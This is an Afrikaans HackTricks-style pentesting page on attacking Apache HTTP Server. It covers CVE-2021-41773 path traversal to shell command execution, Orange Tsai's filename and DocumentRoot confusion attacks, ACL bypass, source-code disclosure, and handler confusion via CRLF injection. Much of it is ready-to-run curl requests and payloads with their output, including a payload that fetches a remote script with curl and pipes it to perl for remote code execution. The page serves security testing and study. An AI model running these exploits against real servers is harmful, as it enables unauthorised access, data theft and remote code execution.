Apache

Reading time: 11 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Uitvoerbare PHP-uitbreidings

Kyk watter uitbreidings die Apache-bediener uitvoer. Om hulle te soek, kan jy uitvoer:

bash
grep -R -B1 "httpd-php" /etc/apache2

Ook, sommige plekke waar jy hierdie konfigurasie kan vind, is:

bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

bash
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

Confusion Attack

Hierdie tipe aanvalle is bekendgestel en gedokumenteer deur Orange in hierdie blogpos en die volgende is 'n opsomming. Die "confusion" aanval misbruik basies hoe die tientalle modules wat saamwerk om 'n Apache te skep, nie perfek gesinchroniseer werk nie, en om sommige van hulle onvoorsiene data te laat wysig, kan 'n kwesbaarheid in 'n latere module veroorsaak.

Filename Confusion

Truncation

Die mod_rewrite sal die inhoud van r->filename na die karakter ? afsnit (modules/mappers/mod_rewrite.c#L4141). Dit is nie heeltemal verkeerd nie, aangesien die meeste modules r->filename as 'n URL sal behandel. Maar in ander gevalle sal dit as 'n lêerpad behandel word, wat 'n probleem kan veroorsaak.

  • Path Truncation

Dit is moontlik om mod_rewrite te misbruik soos in die volgende reëlvoorbeeld om toegang te verkry tot ander lêers binne die lêerstelsel, deur eenvoudig die laaste deel van die verwagte pad te verwyder en 'n ? by te voeg:

bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
  • Misleidende RewriteFlag Toewysing

In die volgende herskryfreël, solank die URL eindig op .php, gaan dit behandel en uitgevoer word as php. Daarom is dit moontlik om 'n URL te stuur wat eindig op .php na die ? karakter terwyl 'n ander tipe lêer (soos 'n beeld) met kwaadwillige php-kode daarin gelaai word:

bash
RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACL Bypass

Dit is moontlik om toegang te verkry tot lêers wat die gebruiker nie behoort te kan toegang nie, selfs al moet die toegang geweier word met konfigurasies soos:

xml
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

Dit is omdat PHP-FPM standaard URL's ontvang wat eindig op .php, soos http://server/admin.php%3Fooo.php en omdat PHP-FPM alles na die karakter ? sal verwyder, sal die vorige URL toelaat om /admin.php te laai selfs al het die vorige reël dit verbied.

DocumentRoot Verwarring

bash
DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

'n Interessante feit oor Apache is dat die vorige herskrywing sal probeer om die lêer vanaf beide die documentRoot en vanaf root te benader. So, 'n versoek na https://server/abouth.html sal die lêer in /var/www/html/about.html en /about.html in die lêerstelsel nagaan. Dit kan basies misbruik word om lêers in die lêerstelsel te benader.

Bediener-kant Bronkode Ontsluiting

  • Ontsluit CGI Bronkode

Net om 'n %3F aan die einde by te voeg, is genoeg om die bronkode van 'n cgi-module te lek:

bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
  • Ontbloot PHP Bronnkode

As 'n bediener verskillende domeine het, met een daarvan 'n statiese domein, kan dit misbruik word om die lêerstelsel te deurkruis en php kode te lek:

bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

Plaaslike Gadgets Manipulasie

Die hoofprobleem met die vorige aanval is dat by verstek die meeste toegang oor die lêerstelsel ontken sal word soos in Apache HTTP Server se konfigurasiesjabloon:

xml
<Directory />
AllowOverride None
Require all denied
</Directory>

egter, Debian/Ubuntu bedryfstelsels laat standaard /usr/share toe:

xml
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

Daarom sal dit moontlik wees om lêers wat binne /usr/share in hierdie verspreidings geleë is, te misbruik.

Plaaslike Gadget tot Inligtingsontsluiting

  • Apache HTTP Server met websocketd mag die dump-env.php skrip by /usr/share/doc/websocketd/examples/php/ blootstel, wat sensitiewe omgewing veranderlikes kan lek.
  • Bedieners met Nginx of Jetty mag sensitiewe webtoepassing inligting (bv. web.xml) blootstel deur hul standaard web wortels wat onder /usr/share geplaas is:
  • /usr/share/nginx/html/
  • /usr/share/jetty9/etc/
  • /usr/share/jetty9/webapps/

Plaaslike Gadget tot XSS

  • Op Ubuntu Desktop met LibreOffice geïnstalleer, kan die uitbuiting van die hulp lêers se taal skakel funksie lei tot Cross-Site Scripting (XSS). Manipulasie van die URL by /usr/share/libreoffice/help/help.html kan lei na kwaadwillige bladsye of ouer weergawes deur onveilige RewriteRule.

Plaaslike Gadget tot LFI

  • As PHP of sekere front-end pakkette soos JpGraph of jQuery-jFeed geïnstalleer is, kan hul lêers misbruik word om sensitiewe lêers soos /etc/passwd te lees:
  • /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
  • /usr/share/javascript/jquery-jfeed/proxy.php
  • /usr/share/moodle/mod/assignment/type/wims/getcsv.php

Plaaslike Gadget tot SSRF

  • Deur MagpieRSS's magpie_debug.php by /usr/share/php/magpierss/scripts/magpie_debug.php te gebruik, kan 'n SSRF kwesbaarheid maklik geskep word, wat 'n toegangspunt tot verdere uitbuitings bied.

Plaaslike Gadget tot RCE

  • Geleenthede vir Remote Code Execution (RCE) is wyd, met kwesbare installasies soos 'n verouderde PHPUnit of phpLiteAdmin. Hierdie kan misbruik word om arbitrêre kode uit te voer, wat die uitgebreide potensiaal van plaaslike gadgets manipulasie toon.

Jailbreak van Plaaslike Gadgets

Dit is ook moontlik om te jailbreak vanaf die toegelate vouers deur simlinks te volg wat deur geïnstalleerde sagteware in daardie vouers gegenereer is, soos:

  • Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
  • Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
  • Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
  • MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
  • SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

Boonop, deur simlinks te misbruik was dit moontlik om RCE in Redmine te verkry.

Handler Verwarring

Hierdie aanval benut die oorvleueling in funksionaliteit tussen die AddHandler en AddType riglyne, wat albei gebruik kan word om PHP verwerking te aktiveer. Oorspronklik het hierdie riglyne verskillende velde beïnvloed (r->handler en r->content_type onderskeidelik) in die bediener se interne struktuur. egter, as gevolg van nalatenskapkode, hanteer Apache hierdie riglyne wisselvallig onder sekere omstandighede, wat r->content_type in r->handler omskakel as die eerste ingestel is en die laaste nie.

Boonop, in die Apache HTTP Server (server/config.c#L420), as r->handler leeg is voordat ap_run_handler() uitgevoer word, gebruik die bediener r->content_type as die handler, wat effektief AddType en AddHandler identies in effek maak.

Oorskry Handler om PHP Bronskode te Ontsluit

In hierdie praatjie, is 'n kwesbaarheid aangebied waar 'n verkeerde Content-Length wat deur 'n kliënt gestuur is, kan veroorsaak dat Apache per ongeluk die PHP bronskode teruggee. Dit was as gevolg van 'n fout hantering probleem met ModSecurity en die Apache Portable Runtime (APR), waar 'n dubbele antwoord lei tot die oorskryding van r->content_type na text/html.
Omdat ModSecurity nie behoorlik terugwaardes hanteer nie, sou dit die PHP kode teruggee en dit nie interpreteer nie.

Oorskry Handler tot XXXX

TODO: Oranje het hierdie kwesbaarheid nog nie bekend gemaak nie

Roep Arbitrêre Handlers aan

As 'n aanvaller in staat is om die Content-Type kop in 'n bediener antwoord te beheer, sal hy in staat wees om arbitrêre module handlers aan te roep. egter, teen die tyd dat die aanvaller dit beheer, sal die meeste van die proses van die versoek gedoen wees. egter, dit is moontlik om die versoekproses te herbegin deur die Location kop te misbruik omdat as die returned Status 200 is en die Location kop met 'n / begin, die antwoord as 'n Server-Side Redirection behandel word en verwerk moet word.

Volgens RFC 3875 (spesifikasie oor CGI) in Afdeling 6.2.2 definieer 'n Plaaslike Hernoem Antwoord gedrag:

Die CGI skrip kan 'n URI pad en navraag-string (‘local-pathquery’) vir 'n plaaslike hulpbron in 'n Location kopveld teruggee. Dit dui aan vir die bediener dat dit die versoek moet herverwerk met die pad wat gespesifiseer is.

Daarom, om hierdie aanval uit te voer, is een van die volgende kwesbaarhede nodig:

  • CRLF Inspuiting in die CGI antwoord koppe
  • SSRF met volledige beheer van die antwoord koppe

Arbitrêre Handler tot Inligtingsontsluiting

Byvoorbeeld, /server-status moet slegs plaaslik toeganklik wees:

xml
<Location /server-status>
SetHandler server-status
Require local
</Location>

Dit is moontlik om toegang te verkry deur die Content-Type op server-status te stel en die Location-header wat met / begin.

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

Arbitraire Handler na Volledige SSRF

Herlei na mod_proxy om enige protokol op enige URL te benader:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

egter, die X-Forwarded-For kop is bygevoeg wat toegang tot wolk metadata eindpunte voorkom.

Arbitraire Handler om Lokale Unix Domein Socket te Benader

Toegang tot PHP-FPM se lokale Unix Domein Socket om 'n PHP backdoor wat in /tmp/ geleë is, uit te voer:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

Arbitraire Handler na RCE

Die amptelike PHP Docker beeld sluit PEAR (Pearcmd.php) in, 'n opdraglyn PHP-pakketbestuur gereedskap, wat misbruik kan word om RCE te verkry:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Kontroleer Docker PHP LFI Samevatting, geskryf deur Phith0n vir die besonderhede van hierdie tegniek.

Verwysings

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks